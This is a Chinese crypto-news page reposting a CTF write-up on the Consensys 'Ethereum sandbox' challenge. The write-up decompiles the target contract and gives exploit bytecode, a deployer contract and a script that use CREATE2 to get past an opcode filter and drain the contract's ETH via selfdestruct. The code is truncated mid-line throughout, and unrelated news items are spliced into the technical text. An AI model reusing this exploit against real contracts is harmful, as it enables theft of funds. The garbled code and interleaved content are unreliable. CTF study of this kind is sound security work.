買以太坊 買以太坊
Ctrl+D 買以太坊
ads
首頁 > SHIB > Info

UIN:Consensys CTF - " 以太坊沙盒 "_ION

Author:

Time:1900/1/1 0:00:00

基于samczsun的解析文章學習

分析原文:

本文都是基于https://samczsun

elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}

再看到其的全局變量,一共有兩個,分別在slot0和slot1的位置處。可以看到這兩個全局變量都是uint256數組。

uint256array_0;//STORAGEuint256_owners;//STORAGE

依次分析函數,找到我們感興趣的部分,然后再深入調查該函數,看是否能夠達到我們的目標——拿到該合約的所有ETH。

Constellation收購零售數據初創公司Dor:金色財經報道,區塊鏈公司Constellation收購了零售數據初創公司Dor,目的是將客流量信息添加到其他相關數據集中。收購條款未披露,但Constellation發言人稱,金額為“八位數”,介于1000萬美元至9900萬美元之間。[2021/10/13 20:24:20]

首先是函數1:0x4214352d

function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg

//翻譯一下functionset_array(uint256_value,uint256_key)public{require(msg

可以看到該函數主要是對array_0進行賦值,在賦值前檢查了兩項:

msg

以太坊互操作性網絡Connext完成1200萬美元融資:基于以太坊的互操作性網絡Connext完成1200萬美元融資,ConsenSysMesh和1kx共同領投,CoinbaseVentures、OkExVentures、eGirlCapital和Hashed等參投。這筆資金將有助于發展團隊、建立Connext的生態系統并擴展網絡。(the block)[2021/7/13 0:49:16]

=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg

與set_array函數類似

再看函數3:owners

functionowners(uint256varg0)publicnonPayable{require(msg

=>functionowners(uint256_key)publicviewreturns(address){require(msg

以太坊宣布推遲原定今年8月舉行的Devcon大會:金色財經報道,以太坊官方發布博客文章稱,將推遲Devcon大會的時間,不再繼續推進在8月份舉辦的目標。Devcon團隊期望隨著疫苗的可用性增加以及與大流行相關的趨勢有所改善,很快能夠公布新的日期。[2021/1/27 13:37:13]

最后看函數4:0x2918435f

function0x2918435f(addressvarg0)publicpayable{require(msg

v2=1;}require(v0);MEM=MEM(varg0

assert(v5<varg0

v7,v8=varg0

require(v7);}

可以看到函數40x2918435f比較復雜,簡單分析函數4中有三層require:

要求調用該函數的msg

動態 | 比特大陸推出BCH Dev Con項目:據bitcoin.com報道,比特大陸推出BCH Dev Con項目,這個項目由Permissionless Ventures (PV)籌集5000萬美元基金。BCH Dev Con是一種鼓勵比特幣現金網絡創新和解決問題的方法,包括使用標記化和智能合約平臺。[2018/9/14]

v2=1;}require(v0);=>翻譯一下:boolpermit=false;uint256i=0;while(i<_owners

i=1;}require(permit);

3.要求作為傳入參數的地址addr,逐字節檢查該參數地址對應的代碼,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節。在黃皮書中這幾個字節對應的分別是:create,call,callcode,delegatecall,staticcall,selfdestruct.這部分對應的代碼比較復雜,我們將對比opcode,逐字翻譯```MEM=MEM(varg0

DragonEx在Consensus 2018峰會上發布英文版:全球頂級區塊鏈峰會Consensus 2018于5月14日(美東時間)在紐約盛大開幕,期間DragonEx發布英文版WEB端并開放了全球用戶KYC認證,DragonEx英文電報群“t.me/DragonEx_EN”同步開始運營。DragonEx正式邁向全球市場。[2018/5/16]

assert(v5<varg0

}

問題分析-2

現在我們需要滿足第三個條件,即構造一個合約,該合約對應的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節,因此需要我們手動來寫合約,然后通過該sandbox的第四個函數來delegatecall該合約,從而清空sandbox中的ETH。

首先明確我們使用create2,其為0xf5,我們可以首先看下黃皮書中關于create2的定義

簡單來說是先計算出要創建的合約的地址,然后執行要創建的合約的初始化代碼,再將該初始化代碼與要創建的合約地址進行關聯。

故我們需要一個合約,他的runtimecode中執行一個create2函數,創建一個臨時合約,并將上下文環境中的address(this)里的全部ETH都作為贈品贈與該臨時合約,該臨時合約的初始化代碼中應該執行selfdestruct(tx.orgin)函數來將所有的ETH轉移給合約部署人。

先用opcode來寫runtimecode:

//tx.origin這里的ORIGIN是payload,不應該被執行,故需要改為push10x32//SELFDESTRUCT//構造payload,因為SELFDESTRUCT是0xff,不能被使用,故可以通過ADD來繞道實現push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//構造payload0x40->0x32ff,push100//Us->salt鹽push10x04//Us->length長度4push10x3e//us->offset偏移值->內存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH數量->應該是該address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5

在寫該合約的初始化代碼,可以用solidity寫了,因為是我自己執行來部署該runtimecode

contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}

然后部署HackCTF合約,在調用ctf中的第四個函數,將該合約的地址作為參數傳進去即可

hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())

免責聲明:作為區塊鏈信息平臺,本站所發布文章僅代表作者個人觀點,與鏈聞ChainNews立場無關。文章內的信息、意見等均僅供參考,并非作為或被視為實際投資建議。

本文來源于非小號媒體平臺:

登鏈社區

現已在非小號資訊平臺發布105篇作品,

非小號開放平臺歡迎幣圈作者入駐

入駐指南:

/apply_guide/

本文網址:

/news/10087897.html

免責聲明:

1.資訊內容不構成投資建議,投資者應獨立決策并自行承擔風險

2.本文版權歸屬原作所有,僅代表作者本人觀點,不代表非小號的觀點或立場

上一篇:

SendingLabs完成1250萬美元種子輪融資,以構建「Web3通信堆棧」

Tags:CONINTIONUINConcretecodesMyPoints E-CommerceOcculto VisionBabyPenguins

SHIB
Swarm官方將于北京時間6月21日21:00宣布主網上線

Swarm微信IPFSHSZB:6月21日,Swarm基金會發布最新消息稱,將于北京時間2021年6月21日21:00舉辦Swarm線上活動,活動上將會有許多有趣的講座、演示.

1900/1/1 0:00:00
AIS:打造圍繞 AISR 鏈的人工智能生態,登陸全球正式上線_VISR

AISR(ArtificialintelligenceScientificResearch)全球正式上線,新一代區塊鏈網絡,聚集諸多顛覆性創新于一身,作為“價值互聯網”的重要基礎設施.

1900/1/1 0:00:00
COIN:為什么全世界都喜歡666? 如今IPFS真6的飛起!_OCXEcoin

阿拉伯數字中,最受歡迎的數字當屬6這個數字。在中國,六是一個吉利數字,“六六大順”就經常用來祝福好友事業發達的意思.

1900/1/1 0:00:00
MCC:房地產大亨Frank McCourt投資1億美元,欲打造去中心化社交網絡協議_CCO

本文來自彭博社,原文作者:SarahFrierOdaily?星球日報譯者?|念銀思唐億萬富翁房地產大亨、洛杉磯道奇隊前老板?FrankMcCourt?正投入?1?億美元,試圖重建社交媒體的基礎.

1900/1/1 0:00:00
MOS:老崔說幣:敢教日月換新天,以太坊爆發式增長?_T.OS

大家好,我是來自CKcoin平臺首席分析師老崔說幣,也是你們的朋友老崔說幣shi9527111,老崔說幣公眾號同步專注數字貨幣行情分析,爭取為廣大幣友傳遞最有價值的幣市信息.

1900/1/1 0:00:00
CRYP:比特幣接下來會暴漲還是會暴跌?_Cryptosolartech

比特幣周圖 比特幣周圖目前在周15EMA均線下方受到上升趨勢線反壓作用壓制,并且出現調整2,接下來有可能出現類似于調整1之后的第二波暴跌行情!這是我們根據技術面得出的結論.

1900/1/1 0:00:00
ads